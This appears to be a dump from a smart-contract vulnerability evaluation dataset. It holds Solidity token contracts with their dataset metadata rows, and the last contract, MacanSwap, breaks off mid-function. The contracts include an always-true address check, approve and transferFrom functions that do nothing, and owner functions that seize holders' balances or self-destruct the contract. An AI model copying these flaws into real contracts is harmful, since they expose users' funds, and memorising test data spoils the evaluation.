function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV3ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
address private _oldVault;
address private _newVault;
uint256 private _newVaultEffectiveTime;
modifier onlyVault() {
require(msg.sender == vault(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function vault() public view returns (address) {
if (block.timestamp >= _newVaultEffectiveTime) {
return _newVault;
}
return _oldVault;
}
function owner() public view returns (address) {
return vault();
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
_oldVault = vault();
_newVault = newVault;
_newVaultEffectiveTime = block.timestamp + 2*24*3600;
emit LogChangeVault(_oldVault, _newVault, _newVaultEffectiveTime);
return true;
}
function changeMPCOwner(address newVault) public onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
_oldVault = vault();
_newVault = newVault;
_newVaultEffectiveTime = block.timestamp + 2*24*3600;
emit LogChangeMPCOwner(_oldVault, _newVault, _newVaultEffectiveTime);
return true;
}
function mint(address to, uint256 amount) external onlyVault returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyVault returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyVault returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogChangeMPCOwner(address indexed oldOwner, address indexed newOwner, uint indexed effectiveHeight);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
_newVault = _vault;
_newVaultEffectiveTime = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function depositWithPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) {
IERC20(underlying).permit(target, address(this), value, deadline, v, r, s);
IERC20(underlying).safeTransferFrom(target, address(this), value);
return _deposit(value, to);
}
function depositWithTransferPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) {
IERC20(underlying).transferWithPermit(target, address(this), value, deadline, v, r, s);
return _deposit(value, to);
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal pure returns (bool) {
bytes32 hash = prefixed(hashStruct);
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
// Builds a prefixed hash to mimic the behavior of eth_sign.
function prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 311,312 | 12,289 |
5767a3e88f0dd3d80dfc0405ace02306542807e845edf1694c7eaf6fbc68690e
| 15,920 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x24b68cf0c67a54d6f67c469d2b9455f6953c3199.sol
| 3,167 | 15,832 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract Owned {
address public owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner returns (address account) {
owner = newOwner;
return owner;
}
}
contract CSTKDropToken is ERC20, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint256 public decimals;
uint256 _totalSupply;
bool public started;
address public token;
struct Level {
uint256 price;
uint256 available;
}
Level[] levels;
mapping(address => uint256) balances;
mapping(address => mapping(string => uint256)) orders;
event TransferETH(address indexed from, address indexed to, uint256 eth);
event Sell(address indexed to, uint256 tokens, uint256 eth);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor(string _symbol, string _name, uint256 _supply, uint256 _decimals, address _token) public {
symbol = _symbol;
name = _name;
decimals = _decimals;
token = _token;
_totalSupply = _supply;
balances[owner] = _totalSupply;
started = false;
emit Transfer(address(0), owner, _totalSupply);
}
function destruct() public onlyOwner {
ERC20 tokenInstance = ERC20(token);
uint256 balance = tokenInstance.balanceOf(this);
if (balance > 0) {
tokenInstance.transfer(owner, balance);
}
selfdestruct(owner);
}
// ------------------------------------------------------------------------
// Changes the address of the supported token
// ------------------------------------------------------------------------
function setToken(address newTokenAddress) public onlyOwner returns (bool success) {
token = newTokenAddress;
return true;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Changes the total supply value
//
// a new supply must be no less then the current supply
// or the owner must have enough amount to cover supply reduction
// ------------------------------------------------------------------------
function changeTotalSupply(uint256 newSupply) public onlyOwner returns (bool success) {
require(newSupply >= 0 && (newSupply >= _totalSupply || _totalSupply - newSupply <= balances[owner]));
uint256 diff = 0;
if (newSupply >= _totalSupply) {
diff = newSupply.sub(_totalSupply);
balances[owner] = balances[owner].add(diff);
emit Transfer(address(0), owner, diff);
} else {
diff = _totalSupply.sub(newSupply);
balances[owner] = balances[owner].sub(diff);
emit Transfer(owner, address(0), diff);
}
_totalSupply = newSupply;
return true;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Start accept orders
// ------------------------------------------------------------------------
function start() public onlyOwner {
started = true;
}
// ------------------------------------------------------------------------
// Start accept orders
// ------------------------------------------------------------------------
function stop() public onlyOwner {
started = false;
}
// ------------------------------------------------------------------------
// Adds new Level to the levels array
// ------------------------------------------------------------------------
function addLevel(uint256 price, uint256 available) public onlyOwner {
levels.push(Level(price, available));
}
// ------------------------------------------------------------------------
// Removes a level with specified price from the levels array
// ------------------------------------------------------------------------
function removeLevel(uint256 price) public onlyOwner {
if (levels.length < 1) {
return;
}
Level[] memory tmp = levels;
delete levels;
for (uint i = 0; i < tmp.length; i++) {
if (tmp[i].price != price) {
levels.push(tmp[i]);
}
}
}
// ------------------------------------------------------------------------
// Replaces a particular level index by a new Level values
// ------------------------------------------------------------------------
function replaceLevel(uint index, uint256 price, uint256 available) public onlyOwner {
levels[index] = Level(price, available);
}
// ------------------------------------------------------------------------
// Clears the levels array
// ------------------------------------------------------------------------
function clearLevels() public onlyOwner {
delete levels;
}
// ------------------------------------------------------------------------
// Finds a level with specified price and returns an amount of available tokens on the level
// ------------------------------------------------------------------------
function getLevelAmount(uint256 price) public view returns (uint256 available) {
if (levels.length < 1) {
return 0;
}
for (uint i = 0; i < levels.length; i++) {
if (levels[i].price == price) {
return levels[i].available;
}
}
}
// ------------------------------------------------------------------------
// Returns a Level by it's array index
// ------------------------------------------------------------------------
function getLevelByIndex(uint index) public view returns (uint256 price, uint256 available) {
price = levels[index].price;
available = levels[index].available;
}
// ------------------------------------------------------------------------
// Returns a count of levels
// ------------------------------------------------------------------------
function getLevelsCount() public view returns (uint) {
return levels.length;
}
// ------------------------------------------------------------------------
// Returns a Level by it's array index
// ------------------------------------------------------------------------
function getCurrentLevel() public view returns (uint256 price, uint256 available) {
if (levels.length < 1) {
return;
}
for (uint i = 0; i < levels.length; i++) {
if (levels[i].available > 0) {
price = levels[i].price;
available = levels[i].available;
break;
}
}
}
// ------------------------------------------------------------------------
// Get the order's balance of tokens for account `customer`
// ------------------------------------------------------------------------
function orderTokensOf(address customer) public view returns (uint256 balance) {
return orders[customer]['tokens'];
}
// ------------------------------------------------------------------------
// Get the order's balance of ETH for account `customer`
// ------------------------------------------------------------------------
function orderEthOf(address customer) public view returns (uint256 balance) {
return orders[customer]['eth'];
}
// ------------------------------------------------------------------------
// Delete customer's order
// ------------------------------------------------------------------------
function cancelOrder(address customer) public onlyOwner returns (bool success) {
orders[customer]['eth'] = 0;
orders[customer]['tokens'] = 0;
return true;
}
// ------------------------------------------------------------------------
// Checks the order values by the customer's address and sends required
// promo tokens based on the received amount of `this` tokens and ETH
// ------------------------------------------------------------------------
function _checkOrder(address customer) private returns (uint256 tokens, uint256 eth) {
require(started);
eth = 0;
tokens = 0;
if (getLevelsCount() <= 0 || orders[customer]['tokens'] <= 0 || orders[customer]['eth'] <= 0) {
return;
}
uint256 decimalsDiff = 10 ** (18 - 2 * decimals);
ERC20 tokenInstance = ERC20(token);
uint256 balance = tokenInstance.balanceOf(this);
uint256 orderEth = orders[customer]['eth'];
uint256 orderTokens = orders[customer]['tokens'] > balance ? balance : orders[customer]['tokens'];
for (uint i = 0; i < levels.length; i++) {
if (levels[i].available <= 0) {
continue;
}
uint256 _tokens = orderEth / levels[i].price / decimalsDiff;
// check if there enough tokens on the level
if (_tokens > levels[i].available) {
_tokens = levels[i].available;
}
// check the order tokens limit
if (_tokens > orderTokens) {
_tokens = orderTokens;
}
uint256 _eth = _tokens * levels[i].price * decimalsDiff;
levels[i].available -= _tokens;
// accumulate total price and tokens
eth += _eth;
tokens += _tokens;
// reduce remaining limits
orderEth -= _eth;
orderTokens -= _tokens;
if (orderEth <= 0 || orderTokens <= 0) {
// order is calculated
break;
}
}
// charge required amount of the tokens and ETHs
orders[customer]['tokens'] = orders[customer]['tokens'].sub(tokens);
orders[customer]['eth'] = orders[customer]['eth'].sub(eth);
tokenInstance.transfer(customer, tokens);
emit Sell(customer, tokens, eth);
}
// ------------------------------------------------------------------------
// public entry point for the `_checkOrder` function
// ------------------------------------------------------------------------
function checkOrder(address customer) public onlyOwner returns (uint256 tokens, uint256 eth) {
return _checkOrder(customer);
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// - only owner is allowed to send tokens to any address
// - not owners can transfer the balance only to owner's address
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public returns (bool success) {
require(msg.sender == owner || to == owner || to == address(this));
address receiver = msg.sender == owner ? to : owner;
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[receiver] = balances[receiver].add(tokens);
emit Transfer(msg.sender, receiver, tokens);
if (receiver == owner) {
orders[msg.sender]['tokens'] = orders[msg.sender]['tokens'].add(tokens);
_checkOrder(msg.sender);
}
return true;
}
// ------------------------------------------------------------------------
// `allowance` is not allowed
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
tokenOwner;
spender;
return uint256(0);
}
// ------------------------------------------------------------------------
// `approve` is not allowed
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
spender;
tokens;
return true;
}
// ------------------------------------------------------------------------
// `transferFrom` is not allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
from;
to;
tokens;
return true;
}
// ------------------------------------------------------------------------
// Accept ETH
// ------------------------------------------------------------------------
function () public payable {
owner.transfer(msg.value);
emit TransferETH(msg.sender, address(this), msg.value);
orders[msg.sender]['eth'] = orders[msg.sender]['eth'].add(msg.value);
_checkOrder(msg.sender);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Owner can transfer out promo token
// ------------------------------------------------------------------------
function transferToken(uint256 tokens) public onlyOwner returns (bool success) {
return transferAnyERC20Token(token, tokens);
}
// ------------------------------------------------------------------------
// Owner can return specified amount from `tokenOwner`
// ------------------------------------------------------------------------
function returnFrom(address tokenOwner, uint256 tokens) public onlyOwner returns (bool success) {
balances[tokenOwner] = balances[tokenOwner].sub(tokens);
balances[owner] = balances[owner].add(tokens);
emit Transfer(tokenOwner, owner, tokens);
return true;
}
// ------------------------------------------------------------------------
// Owner can return all tokens from `tokenOwner`
// ------------------------------------------------------------------------
function nullifyFrom(address tokenOwner) public onlyOwner returns (bool success) {
return returnFrom(tokenOwner, balances[tokenOwner]);
}
}
contract CSTK_CLT is CSTKDropToken('CSTK_CLT', 'CryptoStock CLT Promo Token', 100000 * 10**8, 8, 0x2001f2A0Cf801EcFda622f6C28fb6E10d803D969) {
}
| 216,490 | 12,290 |
e4f7c0a4cb0cb5ed4cff4ab6ef02c47935748e292fa80b0f96b9b9305f18e26a
| 29,123 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xA37E900e0913fbd29a67595ee9EA9FD4996975Fb/contract.sol
| 5,136 | 18,431 |
// MacanSwap Platform Token BEP20
//
// Web: https://MacanSwap.xyz
// Twitter: https://twitter.com/MacanSwap
// github : https://github.com/MacanSwap
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MacanSwap is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'MacanSwap' ;
string private constant _SYMBOL = 'MCN' ;
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 100000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 50;
uint256 private constant _BURN_FEE = 20;
uint256 private constant _MAX_TX_SIZE = 100000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
